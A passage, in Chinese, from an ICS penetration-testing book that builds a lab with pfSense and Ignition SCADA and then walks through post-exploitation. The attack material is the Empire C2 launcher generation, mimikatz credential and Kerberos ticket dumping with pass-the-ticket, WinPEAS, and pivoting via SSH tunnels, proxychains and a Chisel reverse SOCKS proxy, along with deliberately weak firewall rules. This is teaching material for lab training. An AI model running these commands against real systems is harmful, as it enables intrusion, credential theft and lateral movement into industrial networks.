  7. 现在,您可以重新启动系统或直接进入 shell。我选择重新启动系统作为习惯,以确保所有更改在重启之前不会完全生效。选择 重启 继续,如下所示:图 11.7 – 重启

    图 11.7 – 重启

  8. 重启完成后,您将在控制台上看到一系列选项。您还应该看到一个由您的 LABCORP DNS 服务器提供的 DHCP wan,以及一个默认的 lan 地址,如下所示:图 11.8 – 控制台菜单

    图 11.8 – 控制台菜单

  9. 我们将使用默认的lan IP 地址,并打开浏览器通过 web UI 配置防火墙。导航到分配给 LAN 的 IP 地址。在我的例子中,它是 192.168.3.1。使用 admin 作为用户名,pfsense 作为密码登录防火墙:图 11.9 – pfSense 登录

    图 11.9 – pfSense 登录

    登录后,您将看到 pfSense 设置 向导,如下所示:

    图 11.10 – 设置向导

    图 11.10 – 设置向导

  10. 接下来,我们必须为 主机名主 DNS 服务器 设置常规信息选项:图 11.11 – 常规信息

    图 11.11 – 常规信息

  11. 接下来需要配置的重要选项是 WAN 接口。将其设置为 DHCP,如下所示:图 11.12 – 配置 WAN 接口

    图 11.12 – 配置 WAN 接口

  12. 我们还要确保不会阻止任何 RFC1918 网络,因为我们将把这个防火墙用于内部网络,如下所示:图 11.13 – RFC1918 网络

    图 11.13 – RFC1918 网络

  13. 接下来,我们要设置 LAN 接口。对于我们之前在本书中静态配置的子网,我们将地址设置为 192.168.3.1,如下所示:图 11.14 – LAN 接口

    图 11.14 – LAN 接口

  14. 您将有机会更改管理员界面的默认密码,请更改它。接下来,您将被要求重新加载配置,这将需要大约一分钟的时间。重新加载后,您需要将浏览器指向192.168.3.1以返回到 Web 界面。重新登录 Web 界面后,您将看到仪表盘,在这里您将看到系统信息接口配置和Netgate 服务与支持,如下图所示:图 11.15 – pfSense 仪表盘

    图 11.15 – pfSense 仪表盘

  15. 我们希望为我们的 LAN 接口设置一个 DHCP 服务器。请导航到服务 | DHCP 服务器,如以下屏幕截图所示:图 11.16 – DHCP 服务器

    图 11.16 – DHCP 服务器

  16. 从这里开始,我们将通过设置以下内容来配置常规选项

    子网192.168.3.0

    子网掩码255.255.255.0

    可用范围192.168.3.1 – 192.168.3.254

    范围:**从 **[192.168.3.100] – **到 **[192.168.3.199]

    这是一个供您参考的示例:

    图 11.17 – DHCP 服务器

    图 11.17 – DHCP 服务器

  17. 从这里开始,我们将添加一个配置错误的 NAT 规则,以允许来自企业的流量与操作系统通信,反之亦然:图 11.18 – NAT 选择

    图 11.18 – NAT 选择

  18. 现在,我们希望选择端口转发并添加一条新规则。您应该看到一个空列表:图 11.19 – 端口转发

    图 11.19 – 端口转发

  19. 点击绿色的添加按钮后,您将进入编辑重定向条目界面。我们将保持大部分选项不变,但必须对源和目标选项进行一些更改。

    以下是我们需要配置的选项:

    类型网络)| 地址172.16.0.0)| 掩码24

    目标类型WAN 地址

    目标端口范围从端口任意)| 到端口任意

    重定向目标 IP类型单一主机)| 地址192.168.3.10

    请参考以下屏幕截图获取一些指导:

    图 11.20 – 端口转发/编辑

    图 11.20 – 端口转发/编辑

  20. 配置完成并提供描述后,请确保点击屏幕底部的保存按钮。保存后,您将看到一个弹出窗口,允许您应用更改到防火墙。请继续应用您的更改,如下所示:图 11.21 – 应用更改按钮

    图 11.21 – 应用更改按钮

    现在,您应该能看到以下端口转发规则:

    图 11.22 – 端口转发规则

    图 11.22 – 端口转发规则

  21. 我们要验证是否已将 出站 NAT 模式 设置为 自动出站 NAT 规则生成,如图所示:图 11.23 – 出站 NAT 模式

    图 11.23 – 出站 NAT 模式

  22. 最后,我们要通过进入 **防火墙 | **WAN 来验证我们的 WAN 规则是否已创建。你应该会看到类似这样的规则:图 11.24 – WAN 规则

    图 11.24 – WAN 规则

    现在我们的防火墙已配置完毕,我们需要将本书前面使用的 Windows 7 机器快速添加到 labcorp.local 域中,用于配置 PLC。让我们开始吧:

  23. 为此,我们必须编辑我们的网络接口,并更新 首选 DNS 服务器 选项,如图所示:图 11.25 – 首选 DNS 服务器

    图 11.25 – 首选 DNS 服务器

  24. 接下来,导航至 计算机 | 属性 | 系统属性 | 计算机名称。在这里,将 计算机名称 设置为 OS1,表示操作员工作站 1。然后,选择 并将其设置为 labcorp.local,如以下截图所示:图 11.26 – 计算机名称/域更改

    图 11.26 – 计算机名称/域更改

  25. 现在,让我们确保我们已连接到域,并且可以使用已知用户进行身份验证。如以下截图所示,我们已使用 operator1 登录到 Windows 7 虚拟机:图 11.27 – 域连接

    图 11.27 – 域连接

  26. 我们需要确保实验室操作员可以通过将 LABCORP\Domain Users 添加到 远程桌面用户,如图所示,来使用 远程桌面

图 11.28 – 域用户作为远程桌面用户

图 11.28 – 域用户作为远程桌面用户

在本节中,我们配置了一个防火墙,以便在企业网络和操作网络之间引入隔离。我们还快速将我们在 第一章 中安装的 Windows 7 虚拟机,使用虚拟化,连接到我们在 第十章 中创建的域,I Can Do It 420,并确保 LABCORP 用户可以远程桌面访问他们的操作员工作站。在接下来的章节中,我们将学习如何利用这些配置来发现网络中的路径。

我有一个 shell,现在该怎么办?

现在是时候回到我们计划的广播任务了。一旦我们获得访问权限,看到那个 Shell 在我们眼前弹出来的瞬间,真是令人激动。然而,艰苦的工作还没有开始。接下来,我们需要了解我们已经进入的环境以及我们能够访问的内容。为此,我们将探索一个叫做Empire的后期利用框架。Empire 是一个 C2 框架,用于安装 PowerShell 代理,可以按需传送模块。这些模块包含了我多年来使用的许多工具,因此将它们集中在一起非常方便。Empire 提供了像 winPEAS、Sherlock、Watson、PowerUp、mimikatz 等模块。这些工具有助于自动化数据收集,了解我们所处的系统和环境,并帮助我们为渗透测试奠定一个立足点。

在这一部分,我们将快速安装 Empire,创建一个监听器,构建一个启动器,然后将模块传送到我们的主机。让我们开始吧:

  1. 首先,我们需要克隆这个 GitHub 仓库并运行install脚本:

    git clone --recursive https://github.com/BC-SECURITY/Empire.git

    cd Empire

    sudo ./setup/install.sh

  2. 安装完成后,我们必须运行./empire命令。完成此操作后,你将看到一个启动页面,显示你安装的工具版本中的模块总数、监听器数量以及当前活动的代理数量。以我的情况为例,如下图所示,我有319个可用于后期利用的模块,且没有监听器和代理正在运行,因为这是我第一次运行 Empire:图 11.29 – Empire

    图 11.29 – Empire

  3. 接下来,我们需要为即将部署的代理设置一个监听器,以便它们能报告回来。在这种情况下,在(Empire)** **> 提示符下,我们可以运行uselistener命令,然后按空格键和Tab键查看可以使用的选项。我将在这里选择http作为我的监听器。之后,你可以输入info来列出可用的命令,如下图所示:图 11.30 – uselistener http

    图 11.30 – uselistener http

    在这里,你可以微调你的监听器。在我的情况下,我只更改了NameHost选项。我将Host设置为我的 Kali Linux IP 地址,即172.16.0.6

  4. 接下来,我们要创建一个可以安装在受害者机器上的启动器。我们将使用(Empire) > usestager multi/launcher http命令来实现。这个命令将启动器设置为 multi/launcher,并将其附加到我们在上一步创建的监听器上。当你输入info时,你将看到可以更改和调整的选项,用于优化你的代理传输机制。

    在这里,如果你只输入generate,默认选项是将结果打印到屏幕上。这允许你将 shellcode 复制并粘贴到受害者的系统中。或者,如果你像我一样懒惰,你可以将OutFile选项设置为让 Empire 生成一个.bat文件,直接交给受害者。以下是运行generate而没有设置文件时的输出:

    图 11.31 – Stager shellcode

    图 11.31 – Stager shellcode

  5. 现在,如果你想设置文件选项,以便将其简单地复制到我们希望攻陷的各种系统上,使用set OutFile launcher.bat命令,输入info并按下Enter。你会看到OutFile选项现在已将launcher.bat设置为Value字段,如下所示:图 11.32 – OutFile 设置

    图 11.32 – OutFile 设置

    设置文件类型为generate并按下Enter后,如果一切正常,你应该会看到如下输出:

    图 11.33 – 生成

    图 11.33 – 生成

  6. 现在,我们要将新创建的launcher.bat文件上传到之前被攻破的工作站并运行该文件。上传到工作站的过程我留给你来完成——我使用 Evil-WinRM 通过我们发现的operator2凭据创建了一个会话,然后创建了一个python3 -m http.server来托管我的launcher.bat文件。最后,我使用curl抓取该文件并将其传输到工作站,如下图所示:图 11.34 – 工作站上的 launcher.bat

    图 11.34 – 工作站上的 launcher.bat

  7. 运行完文件后,回到你的(Empire) >界面并输入agents命令。这将列出可用的活跃代理,如下截图所示:图 11.35 – 活跃代理

    图 11.35 – 活跃代理

  8. 此时,我们已经有了一个正在回传信号到我们 Empire C2 平台的活跃代理——太棒了!接下来的步骤是输入interact <代理名>。在我的例子中,应该是interact 62FRNKHT。连接后,输入info查看可以配置的选项。以下是我收到的输出:图 11.36 – 与代理交互

    图 11.36 – 与代理交互

  9. 太棒了!此时,我们已经与我们的代理进行交互。现在,让我们开始查看我们的系统及其周围环境。输入usemodule命令并按Tab键,会显示我们可以访问的模块长列表。这里有 12 个主要类别,每个类别下有多个子模块。以下是这些类别:

    • code_execution

    • collection

    • credentials

    • exfiltration

    • exploitation

    • lateral_movement

    • management

    • persistence

    • privesc

    • recon

    • situational_awareness

    • trollsploit

    查看各个类别及其子模块的内容。如前所述,我们希望收集一些情境意识信息。为此,我们将使用situational_awareness类别。在这里,选择hostSeatbelt模块。要了解有关 Seatbelt 及其强大功能的更多信息,请访问以下链接:github.com/GhostPack/Seatbelt

  10. 一旦你将模块类型设置为info,使用usemodule situational_awareness/host/seatbelt命令查看可用选项。然后,运行该模块 – 你应该会看到如下输出:

图 11.37 – Seatbelt 模块

图 11.37 – Seatbelt 模块

Empire 为正在运行的模块分配一个任务 ID,从而使代理级别的序列化得以进行。模块运行后,你将看到来自代理的反馈,并且会在屏幕上显示。当 Seatbelt 运行时,它将在工作站上执行各种测试,并收集大量信息,这些信息可以轻松填满视觉缓冲区。你可以在Empire/downloads/<agent name>/agent.log下找到包含代理执行的测试输出的agent.log文件。查看此日志文件时,你会发现有关代理所在主机系统的有趣信息。你将发现正在使用的各种接口、杀毒软件、AppLocker、自动运行程序、环境变量、有趣的文件、有趣的进程等等。以下截图显示了工作站 1 上具有管理员权限的用户列表,这是通过其中一个测试发现的:

图 11.38 – 管理员权限

图 11.38 – 管理员权限

另一个测试是发现主机上当前存在的 RDP 会话,我们可以通过查看用户名设置为lab.da的日志文件来实现,如下所示:

图 11.39 – RDP 会话

图 11.39 – RDP 会话

这些仅仅是从 Seatbelt 执行的测试中获取的信息片段。然而,当你浏览日志文件时,你会发现Operator2没有管理员访问权限,这在获取更详细信息时成为一个问题。这将自然引导我们进入下一节,我们将发现如何提升我们的权限,以深入了解我们的受害机器。

提升权限

特权提升是攻击者试图获得超出被攻击用户权限范围的访问权限。特权提升有两种形式:水平特权提升和垂直特权提升。水平特权提升是指在保持当前用户权限的同时,利用系统策略、软件和文件设置中的漏洞,使当前用户能够访问其他用户的资源、文件和服务。这种类型的特权访问在工业控制系统中很常见,根据我的经验,它足以使系统和进程陷入停滞。另一方面,垂直特权提升是攻击者的过程,他们通过从权限较低的账户逐步提升到系统管理员或域管理员账户。一旦攻击者拥有了域管理员账户,他们就能在被攻陷的网络和基础设施中肆意破坏。

在前一节中,我们安装了 Empire,这使我们能够执行后期利用侦查和态势感知。我们将利用相同的 C2 引擎来运行privesc模块。为此,我们将安装我们的launcher.bat文件,也就是operator1

  1. 正如你在第十章中回忆到的,I Can Do It 420,我们发现了operator1的 NTLM 哈希,并使用 hashcat 破解了它。一旦你在operator1下运行launcher.bat,返回 Empire 并查看其代理列表。你现在应该看到两个代理已安装,如下所示:图 11.40 – 安装 operator1 代理

    图 11.40 – 安装 operator1 代理

  2. 接下来,我们将通过使用interact <agent name>命令与新代理进行交互。在我的例子中,命令将是interact 1PKZ7G3T。正如我们在前一节中看到的,系统中有许多模块可以用来执行各种测试和攻击。首先,我们可以使用credentials/mimikatz/command模块,它允许我们更改命令并继续运行mimikatz。Mimikatz 是一款传奇工具,用于转储系统凭证。要了解更多信息,请访问github.com/gentilkiwi/mimikatz。我们将使用 mimikatz 来转储凭证和票据。然后,利用这些票据,我们将执行pass-the-ticketPTT)攻击。PTT 攻击的原理是从本地安全授权子系统服务LSASS)的内存中转储 Kerberos 票据。

  3. 使用set Command sekurlsa::logonPasswords命令,然后输入run。你应该会看到以下输出:图 11.41 – sekurlsa logonPasswords

    图 11.41 – sekurlsa logonPasswords

  4. 一旦模块运行完成,输入creds并按Enter键。你将看到已经捕获的凭据,这些凭据会被 Empire 自动存储。使用 Empire 的creds存储功能是一个关键特性,它将在渗透测试中为你提供极大的帮助。你可以通过运行logonPasswords命令查看被发现的凭据:图 11.42 – 凭据

    图 11.42 – 凭据

  5. 这样,你就看到了如何轻松地转储凭据。现在,我们将学习如何轻松地使用 mimikatz 转储票证。我们将设置Command选项为sekurlsa::tickets /export,然后输入run命令。/export对象告诉模块将票证导出为.kirbi文件。然后,我们可以使用这些票证执行更高级的攻击,如 PTT。Golden Ticket 是指授予用户域管理员权限的票证。Kerberos 被广泛使用,这使它成为一个极好的攻击面,并且由于它的广泛使用,攻击者已找到利用它的方法。所以,为了看看捕获票证有多简单,我们将Command设置为sekurlsa::tickets /export,并运行它。你应该会看到以下输出:图 11.43 – sekurlsa::tickets

    图 11.43 – sekurlsa::tickets

  6. 在我们的受害者主机上,你将能够找到从运行sekurlsa::tickets /export命令导出的.kirbi票证,如下所示:图 11.44 – .kirbi 票证

    图 11.44 – .kirbi 票证

  7. 现在我们有了.kirbi票证,我们可以在受害者机器上使用mimikatz.exe并使用kerberos::ptt <ticket>命令,如下所示:图 11.45 – kerberos::ptt – 传递票证

    图 11.45 – kerberos::ptt – 传递票证

  8. 现在,我们可以通过运行klist命令验证 PTT 是否成功。这将列出系统上缓存的票证,让我们能够看到是否成功模拟了该票证:图 11.46 – 缓存票证

    图 11.46 – 缓存票证

  9. 接下来,我们将运行一个模块,执行自动化测试,帮助找到利用路径。我们将使用 WinPEAS 模块,位于privesc类别下。Windows 特权提升精彩脚本WinPEAS)允许我们放松并让程序自动运行。在各种测试进行时,我们可以看到输出显示在屏幕上。信息采用颜色编码,这样我们就能轻松发现潜在的入口点。过程中我们会看到有关提升特权的提示和技巧链接。以下截图展示了发现的基本系统信息选项:

图 11.47 – WinPEAS 基本系统信息

图 11.47 – WinPEAS 基本系统信息

当我们继续浏览这些信息时,会看到 WinPEAS 提取了更多关于系统的有用信息,比如网络接口和已知主机,如下图所示:

图 11.48 – 网络接口和已知主机

图 11.48 – 网络接口和已知主机

在“网络接口”和“已知主机”下,我们可以看到受害者与之通信的设备列表。我们可以看到 域控制器 位于 .2,Kali Linux 位于 .6,以及我们安装的防火墙位于 .7。如果继续浏览 WinPEAS 生成的信息,我们会找到一个 已保存的 RDP 连接 部分,如下所示:

图 11.49 – 已保存的 RDP 连接

图 11.49 – 已保存的 RDP 连接

随着浏览的深入,我们会发现更多内容,甚至可以找到我们用 mimikatz 转储的 Kerberos 票据。以下是使用 WinPEAS 进行 Kerberos 票据发现的一个示例:

图 11.50 – kerberos 票据

图 11.50 – kerberos 票据

我们可以使用各种工具来完成这项工作。在本节中,我们探讨了转储凭证、转储票据、PTT 攻击以及运行 WinPEAS 来寻找提权路径。掌握这些技巧和工具非常重要,因为每个环境都是不同的,每种设置和本地策略也各不相同。你必须灵活并且熟练使用这些工具,以便将它们适应于客户的环境。在下一节中,我们将讨论如何通过环境进行转发,深入接近真实的关键进程。

网络转发

渗透测试中最基本且最重要的部分之一就是网络转发。如果你从阅读本书中只学到一件事,那就确保把网络转发技巧牢记在脑中。网络转发是一种利用已被攻破的机器来攻击位于网络更深处的另一台机器的技巧。可以使用多种方法和工具来完成这项任务。你可以使用隧道技术、代理和端口转发来完成这项任务。我们已经涉及到了一些方法,包括使用 pfSense 防火墙的 NAT 规则进行端口转发(在本章中我们做过)和使用 FoxyProxy 进行代理(见 第九章),Ninja 308。此外,我们还可以使用其他工具,例如:

  • Proxychains

  • SSH 隧道和端口转发

  • Chisel

这些工具将帮助我们探索网络转发。我们将使用这些工具从 Kali 主机转发,通过 Windows 10 工作站,再到我们的 Windows 7 机器,该机器位于我们网络的操作与控制层级。我们的操作将遵循以下网络图中的红色线路:

图 11.51 – 网络转发

图 11.51 – 网络转发

首先,我们必须确保 Windows 10 机器正在运行 OpenSSH 服务器,可以通过访问应用与功能 | 可选功能 | 添加功能来安装:

图 11.52 – OpenSSH 服务器

图 11.52 – OpenSSH 服务器

安装完成后,你需要通过访问服务管理器来启动OpenSSH SSH 服务器,如图所示:

图 11.53 – OpenSSH SSH 服务器

图 11.53 – OpenSSH SSH 服务器

这样,我们就可以进行 SSH 隧道连接,并利用 proxychains 通过防火墙向 Windows 7 主机进行跳转。一旦服务器启动,我们可以通过运行ssh命令,从 Kali 主机连接到它,进行连接测试。你需要使用 ssh operator1@172.16.0.4 命令。成功访问主机后,你会看到类似以下内容的结果:

图 11.54 – SSH Windows 10

图 11.54 – SSH Windows 10

如果你使用 xfreerdp 测试连接到我们的 Windows 7 主机,你会看到它能正常工作,这意味着当前的 NAT 规则允许整个企业子网访问操作网络。

使用以下命令来测试你的远程连接和 NAT 规则:

xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7

你应该看到我们已成功连接到 Windows 7 的远程桌面。接下来,我们将更改 NAT 访问规则,以确保防火墙只允许来自两个主机的访问。我们希望我们的域控制器位于172.16.0.2,以及我们的 Windows 10 主机,位于172.16.0.4。下图显示了你新的端口转发 NAT 规则应该是什么样子:

图 11.55 – NAT 规则

图 11.55 – NAT 规则

现在,返回并通过再次运行 xfreerdp 来测试 NAT 规则。如果规则有效,你应该会看到连接错误,如下图所示:

图 11.56 – 远程连接错误

图 11.56 – 远程连接错误

有了我们的 NAT 规则后,我们可以模拟本章的跳转部分。我们将从设置 proxychains 开始。

Proxychains

Proxychains 是一个管理动态连接并通过 SOCKS4a/5 或 HTTP 代理重定向连接的程序。Proxychains 就是命令行工具对比 FoxyProxy 对网站的作用。使用 Proxychains 的便利性体现在运行命令时,你只需要在命令前加上 proxychains。举个例子,就是将之前的测试命令加上 proxychains 后运行:

proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7

访问 github.com/haad/proxychains 以了解更多关于proxychains的信息, 如果你感兴趣的话。

要配置proxychains,我们将导航到/etc/proxychains.conf,滚动到[ProxyList]部分,并添加一行;即,socks5 127.0.0.1 9000。端口可以是你希望使用的任何数字。以下是我在实验中使用的文件底部输出:

图 11.57 – proxychains.conf

图 11.57 – proxychains.conf

配置proxychains后,我们仍然需要建立一个隧道来利用代理。我们将在下一部分学习如何做到这一点。

SSH 隧道和端口转发

SSH 隧道使攻击者能够通过已建立的 SSH 会话“隧道”传输不同的协议,并最终避开入侵检测系统IDS)。这种做法在nix系统中最为常见,但正如你在我们的 Windows 10 主机中看到的,OpenSSH 是一个可以默认启用的功能。

讲故事时间

我无法计数我在职业生涯中听到的次数,来自安全经理们常说他们的环境中禁用了端口22/SSH。通常他们会笑着说,他们的基础设施是基于 Windows 的,所以网络中没有 SSH。这在一段时间内确实在网络的企业部分中是成立的,尤其是如果公司没有使用如 SolarWinds 这样的解决方案,它使用 SSH 登录到每个交换机、路由器、网关和防火墙,但在工业领域,很多设备使用 SSH。若干工业安全产品要求在设备上启用 SSH,以便为北美电力可靠性公司/关键基础设施保护NERC/CIP)合规性收集数据。

我们可以使用 SSH -L 选项创建端口转发,该选项会建立一个到指定端口的链接。运行以下命令:

ssh -L 5555:172.16.0.7:3389 -fn operator1@172.16.0.4

这将通过端口5555在本地与我们的远程主机(使用端口3389,即远程桌面)建立本地连接。然后,我们可以使用-fn选项将 Shell 置于后台并不执行任何命令。最后,我们将使用operator1通过我们的 Windows 10 工作站创建隧道,我们知道它可以访问 Windows 7 主机。以下图示展示了我们将尝试的通信路径:

图 11.58 – 端口转发

图 11.58 – 端口转发

现在我们已经建立了端口转发和 SSH 隧道,我们可以运行以下命令:

xfreerdp /u:operator1 /p:Password1 /v:localhost:5555

这将打开一个远程桌面会话。如果你打开 Wireshark 并捕获该会话,你将看到tunnel连接的结果,如下所示:

图 11.59 – SSH 隧道

图 11.59 – SSH 隧道

现在我们已经涵盖了proxychains和 SSH 隧道的基本原理,我将通过使用 SSH -D 选项创建一个动态隧道来将两者结合起来。请继续运行以下命令:

ssh -D 9000 -fN operator1@172.16.0.4

与 SSH 端口转发非常相似,不是连接到特定主机上的专用端口,我们可以使用 -D 创建代理。现在,我们可以运行以下命令:

proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7

这将结合 proxychains 和我们的 SSH 隧道打开远程桌面窗口。我使用 proxychains 和动态隧道,因为它更容易设置,你不需要为每个远程端口进行映射。

Chisel

Chisel 是一款用 Go 编写的工具,允许攻击者在两台主机之间创建 SSH 隧道,独立于主机的 SSH 软件。如果你在一台没有安装 OpenSSH Server 的 Windows 主机上获得了 shell,那么使用这个工具非常合适。我们需要为将要攻破的系统准备专用的二进制文件。你可以从 github.com/jpillora/chisel/releases/tag/v1.7.6 下载这些二进制文件。

我抓取了 linux_amd64windows_amd64 两个二进制文件。我们需要将 chisel_windows_amd64 文件放到我们的 Windows 10 主机上。我想我们在本书中已经涵盖了多种方法,所以我将留给你决定如何将二进制文件传输到目标主机。接下来,我们想在 Kali Linux 主机上设置一个 Chisel 服务器。这样,我们将创建一个 反向 socks 代理。运行以下命令:

./chisel server -p 5555 –reverse &

这将告诉 Chisel 创建一个监听 5555 端口的反向代理服务器,并在后台运行。如果你想排查连接问题,只需去掉 & 符号并运行服务器。你将看到以下结果:

图 11.60 – Chisel 服务器

图 11.60 – Chisel 服务器

在我们的 Windows10 主机上,我们希望运行以下 client 命令来创建反向代理连接:

chisel.exe client 172.16.0.6:5555 R:socks &

再次去掉 & 符号来排查连接问题。你应该能看到以下输出:

图 11.61 – 反向代理

图 11.61 – 反向代理

正如你可能已经注意到的,当我们运行 server 命令后,最后一行输出显示反向 socks 代理正在监听 1080 端口,如下所示:

图 11.62 – 反向代理监听器

图 11.62 – 反向代理监听器

为了使用 proxychains,我们需要将配置中的端口从 9000(用于 SSH 隧道)更改为 1080,这是 Chisel 创建的端口。一旦端口创建完成,重新运行 proxychains 命令:

proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7

如果一切正常,你应该能够进入一个经过身份验证的 Windows 7 远程桌面会话:

图 11.63 – 使用 proxychains 的 Chisel 反向 shell

图 11.63 – 使用 proxychains 的 Chisel 反向 shell

如你所见,通过受信任的工作站、绕过防火墙、进入操作网络,再通过几个简单的命令到达工作站是相当简单的。拥有完全认证的会话可以让我们对操作网络造成破坏,如果我们有意为之,且这符合我们的规则。为此,我们使用了proxychains,结合 SSH 隧道,深入网络获取立足点,但我们需要 Windows 10 主机上安装 SSH。为了绕过 SSH 安装要求,我们使用了 Chisel 来获取访问权限。

这些技术展示了单跳的可用性。希望你进入的工业网络较为平坦,这样就足够了,但我知道深度防御得到了广泛应用,这意味着我们必须提升自己的技术,进行多跳渗透。我会把如何使用我们刚刚测试过的工具进行多跳渗透的研究留给你。

总结

在本章中,我们探讨了收集凭证和票据的各种工具和技术。我们利用捕获到的战利品提升了权限,然后通过我们在本章第一节中安装并配置的防火墙进行横向渗透。我知道我之前说过,但我再重复一遍:正如我已故的朋友特雷弗所说,学习如何进行横向渗透是渗透测试员最基本的技能之一,且永远不要忘记 Smashburger。希望在阅读和完成本章的过程中,你能更好地理解为何拥有一个实验室来启动和拆除系统、在其中穿梭并复制客户的环境是如此重要。

现在我们已经深入到操作网络的一侧,下一章我们将通过使用 Ignition SCADA 的用户界面和脚本与物理过程进行交互。

第四部分 - 捕获旗帜与关闭灯光

在通过获得对关键账户和基础设施的访问权限来处理系统时,尽管“捕获旗帜和关闭灯光”非常激动人心,但成功的成果是通过报告中的发现、文档化证据和建议来衡量的。就像建立强大的攻破系统技能一样,同样的时间和努力也需要用来撰写一份完美的参与报告。

本章节将涵盖以下内容:

  • 第十二章我看到了未来

  • 第十三章被击败但带有悔意

第十二章:我看到未来

在上一章之后,如果您按照编写顺序阅读本书,那么我们已经通过防火墙在企业网络中进行了转向,现在在我们的 Windows 7 机器上有一个远程桌面会话。我们已经完成了一个循环,因为我们开始这本书是通过构建实验室,将虚拟流量路由到我们的物理可编程逻辑控制器PLC),并构建我们的第一个程序。这台 Windows 7 机器是我们用来配置我们的第一个 PLC 程序并将其推送到 Koyo Click 的工具。在这次冒险中,我们逐渐向我们的实验室添加了一点一滴,沿途建立了我们的技能和知识。到达这里表明终点近在眼前。然而,我们还有最后一个挑战,那就是连接到流程并模拟干扰。这里的关键词是模拟;正如我们在整本书中提到的,流程干扰可能会对成本产生极端影响,甚至可能导致危及生命的问题,因此当您在客户网络中达到这个水平时,必须小心谨慎。

在本章中,我们将通过向我们在上一章安装的防火墙添加第二个接口来更新防火墙,以处理本地控制网络。然后,我们将使用轻量级目录访问协议LDAP)将我们的 Ignition SCADA 连接到我们的 LABCORP 域,以强调凭证重用的危险。然后,我们将使用我们在第一章中安装的软件包,使用虚拟化,来配置一个简单的文件传输协议FTP)服务器和超文本预处理器PHP)Web 服务器,以模拟低级访问点。

在本章中,我们将涵盖以下主要主题:

  • 附加实验室配置

  • 用户界面控制

  • 脚本访问

技术要求

对于本章,您将需要以下内容:

  • 一个 pfSense 防火墙,我们在第十一章中安装的,哇... 我必须深入

  • 一个 Kali Linux 虚拟机必须是打开并运行的。

您可以在此处查看本章的代码示例:bit.ly/3j2HgiS

附加实验室配置

为了完善我们的实验室,我们将通过向防火墙添加一个接口来增加更多的分段。这个接口将允许我们在我们的第 3 级和第 2 级网络段之间添加规则:

  1. 要做到这一点,我们需要对我们的 ESXi 服务器进行更改。在我们的 ESXi 服务器上,我们需要向我们的 pfSense 防火墙添加一个额外的网络适配器。以下截图显示了我如何添加第 2 级:本地控制,SCADA 虚拟机所在的位置:图 12.1 – 新网络适配器

    图 12.1 – 新网络适配器

  2. 添加网络适配器后,我们必须重新启动 pfSense 防火墙,并进入 Web 界面。在这里,我们要登录到 Web 门户,选择接口,然后选择分配,如下图所示:图 12.2 – 接口 | 分配

    图 12.2 – 接口 | 分配

    现在你将看到我们新添加的适配器出现在接口列表中,标记为可用网络端口,如下图所示:

    图 12.3 – 可用网络端口

    图 12.3 – 可用网络端口

  3. 继续点击+ 添加按钮,然后保存配置。你应该能看到你的接口已被添加并赋予了一个新的接口名称,如下图所示:图 12.4 – OPT1 接口

    图 12.4 – OPT1 接口

  4. 创建完成后,返回到接口菜单。此时,你应该能在下拉菜单中看到OPT1。选择OPT1接口,如下图所示:图 12.5 – 新的 OPT1 接口

    图 12.5 – 新的 OPT1 接口

  5. 现在,你应该能看到你新创建的OPT1接口的通用配置屏幕。在这里,你可以启用接口、更改描述名称、选择 IPv4 配置等。从这里,我们要确保启用接口并将IPv4 配置类型更改为静态 IPv4,因为我们将使用此接口作为我们的第二层:本地控制网络段的 DHCP 服务器。以下是初始设置的截图:图 12.6 – 启用静态 IPv4

    图 12.6 – 启用静态 IPv4

  6. 接下来,我们需要为此接口设置静态 IP 地址。如果你记得我们最初的设置,我们给第二层:本地控制网络段分配了192.168.2.0/24子网。我要将我们的接口设置为192.168.2.1/24,如下所示:图 12.7 – 静态 IPv4 地址

    图 12.7 – 静态 IPv4 地址

  7. 点击保存按钮,然后点击应用更改按钮,以提交新的接口设置。之后,我们必须为这个新接口设置 DHCP 服务器,通过从顶部菜单栏导航到服务 | DHCP 服务器,如下图所示:图 12.8 – DHCP 服务器服务

    图 12.8 – DHCP 服务器服务

  8. 类似于我们最初为 LAN 接口配置的方式,我们将为 OPT1 配置它。返回到第十一章哇……我要深入研究,以便复习;我在这里唯一需要补充的是 IP 地址池,它选择了从192.168.2.10192.168.2.254的范围,如下图所示:图 12.9 – DHCP 服务器

    图 12.9 – DHCP 服务器

  9. 最后,我们必须在防火墙中创建一个脆弱的any:any规则,允许我们的新接口向北通信。导航至防火墙 | 规则,如图所示:图 12.10 – 防火墙 | 规则

    图 12.10 – 防火墙 | 规则

  10. 从这里,点击添加规则按钮。你将看到一个屏幕,允许你编辑一个新的规则。将操作设置为允许接口设置为OPT1地址族设置为IPv4协议设置为任意,如图所示:图 12.11 – 任意规则

    图 12.11 – 任意规则

  11. 点击保存按钮,然后点击应用更改。之后,尝试在网络中 ping 不同的元素。你应该能够从我们的 SCADA 虚拟机通过 WAN 接口 ping 到公司域控制器,并且我们的 Windows 7 主机应该能够 ping 到 SCADA 虚拟机。

现在你已经测试了网络间的路由,我们将把我们的 Ignition SCADA 连接到 LABCORP 域。

LDAP 连接

要将我们的 Ignition SCADA 连接到 LABCORP 域,我们将执行以下步骤:

  1. 为此,我们需要登录到我们的 Ignition SCADA 界面。一旦建立连接,点击配置图标,然后在安全部分选择用户,角色,如图所示:图 12.12 – 用户,角色

    图 12.12 – 用户,角色

  2. 选择用户,角色链接将弹出用户来源配置屏幕。从这里,我们将选择创建新用户来源…链接,如图所示:图 12.13 – 创建新用户来源

    图 12.13 – 创建新的用户来源

  3. 点击链接以创建新的用户来源后,将呈现一个凭据源选项列表。我们将特别关注Active Directory选项。在这里,我们有一个传统源和两个混合源。我将使用AD/内部混合源,因为它允许我利用 AD 的身份验证机制,并在 Ignition 中维持组访问和控制粒度。你可以在以下截图中看到这些选项:图 12.14 – 新的来源

    图 12.14 – 新的来源

  4. 一旦选择了下一步 >按钮,系统将呈现一个新屏幕,允许我们配置AD/内部混合源选择的元素。我们将为源提供一个名称;我在这里使用了名称Operators。接下来,向下滚动至Active Directory 属性并填写所需项:

    • labcorp.local

    • AD 用户名operator1

    • AD 密码Password1

    • 域 IP 地址172.16.0.2

    • LDAP 端口 #389

    以下截图展示了这些配置字段:

    图 12.15 – Active Directory 属性

    图 12.15 – Active Directory 属性

  5. 更新字段并保存配置后,Ignition SCADA 将使用该配置与域控制器通信并执行用户搜索。这将建立一个可以用于访问 Ignition SCADA 平台的域用户列表。以下是 Ignition 从我在第十章创建的域控制器中拉取的用户列表,凭据为 I Can Do It 420图 12.16 – 域用户

    图 12.16 – 域用户

